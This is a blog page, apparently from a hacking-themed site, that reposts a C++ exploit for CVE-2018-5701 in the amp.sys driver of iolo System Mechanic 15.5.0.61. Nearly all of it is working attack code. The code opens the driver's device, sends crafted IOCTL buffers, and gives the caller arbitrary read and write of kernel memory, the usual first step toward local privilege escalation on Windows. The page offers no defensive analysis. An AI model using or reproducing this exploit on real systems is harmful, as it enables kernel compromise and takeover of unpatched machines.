Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86379705

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
# Exploit Title: System Mechanic v15.5.0.61 - Arbitrary Read/Write
# Date: 26-09-2022
# Exploit Author: Brandon Marshall
# Vendor Homepage: https://www.iolo.com/
# Tested Version   - System Mechanic version 15.5.0.61
# Driver Version   - 5.4.11 - amp.sys
# Tested on OS     - 64 bit Windows 10 (18362)
# Fixed Version    - System Mechanic 17.5.0.116
# CVE : CVE-2018-5701
*/

#include <iostream>
#include <Windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma warning(disable:4996)

typedef struct _kernelDriverInformation {
    char* imageName;
    void* imageBase;

}kernelDriverInformation, * PKernelDriverInformation;

typedef struct _functionInformation {
    char* functionName;
    void* functionOffset;
    void* functionBase;

}functionInformation, * PFunctionInformation;

void callDeviceIoControl(HANDLE deviceHandle, void* inputBuffer, DWORD inputBufferSize) {
    DWORD bytesReturned;
    NTSTATUS  status = DeviceIoControl(deviceHandle, 0x226003, inputBuffer, inputBufferSize, NULL, NULL, (LPDWORD)&bytesReturned, (LPOVERLAPPED)NULL);
}

HANDLE getDeviceHandle(char* name) {
    DWORD generic_read = 0x80000000;
    DWORD generic_write = 0x40000000;
    HANDLE handle = CreateFileA((LPCSTR)name, GENERIC_READ | generic_write, NULL, NULL, 0x3, NULL, NULL);
    return handle;
}



void* CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(void* addressToDereference, SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5;   //   funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer);   pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);  pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;  // this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)0;  // param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToDereference; // param3
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)0;  // param4
    return (void*)maliciousBuffer;
}

void* CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5;   //   funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer);   pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);  pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;  // this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2;  // param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)(maliciousBuffer + 0x40); // param3 
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x48);  // param4
    *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0;  //unknown
    *(ULONGLONG*)(maliciousBuffer + 0x48) = 0xffffffff; // param1
    return (void*)maliciousBuffer;
}

void* CreateWriteDWORDFromKernelMemoryIOCTLBuffer(void* addressToWriteTo, SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5;   //   funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer);   pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);  pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;  // this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2;  // param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToWriteTo; // param3 
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x40);  // param4
    *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0xffffffff;
    return (void*)maliciousBuffer;
}

DWORD leakDWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {
    void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(addressToLeak, bufferSize);
    callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
    free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
    //address should now be written in kernel memory
    void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(bufferSize);
    callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
    DWORD returnVal = *(DWORD*)((byte*)ReadDWORDFromKernelMemoryLeakIOCTLBuffer + 0x40);
    free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);

    return returnVal;
}

void writeDWORD(void* addressToWrite, void* PDWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {
    void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(PDWORDToWrite, bufferSize);
    callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
    free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
    //address should now be written in kernel memory
    void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateWriteDWORDFromKernelMemoryIOCTLBuffer(addressToWrite,bufferSize);
    callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
    free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);

    return;
}

void* leakQWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {

    DWORD firstDWORD = leakDWORD(addressToLeak, deviceHandle, bufferSize);
    DWORD secondDWORD = leakDWORD((byte*)addressToLeak + 0x4, deviceHandle, bufferSize);

    void** Pqword = (void**)malloc(0x8);

    for (int i = 0; i < 4; i++) {
        ((byte*)Pqword)[i] = ((byte*)&firstDWORD)[i];
        ((byte*)Pqword)[i + 4] = ((byte*)&secondDWORD)[i];
    }

    return (*(void**)Pqword);
}

void writeQWORD(void* addressToWrite, void* QWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {


    writeDWORD(addressToWrite, QWORDToWrite, deviceHandle, bufferSize);
    writeDWORD((byte*)addressToWrite + 0x4, ((byte*)QWORDToWrite + 0x4), deviceHandle, bufferSize);

}

int main(int argc, char* argv[])
{

    ULONGLONG addressToReadorWrite = strtoull(argv[2], NULL, 16);

    HANDLE deviceHandle = getDeviceHandle((char*)"\\\\.\\AMP");

    SIZE_T size = 0x300;

    if (strcmp(argv[1], "read") == 0) {


        void* leakedQWORD = leakQWORD((void*)addressToReadorWrite, deviceHandle, size);



        printf("Value stored at virtual address %0llx is %0llx", addressToReadorWrite, leakedQWORD);
    }
    else if (strcmp(argv[1], "write") == 0) {

        ULONGLONG QWORDToWrite = strtoull(argv[3], NULL, 16);


        writeQWORD((void*)addressToReadorWrite, (void*)&QWORDToWrite, deviceHandle, size);



        printf("Wrote  %0llx to virtual address %0llx", QWORDToWrite, addressToReadorWrite);
    }

}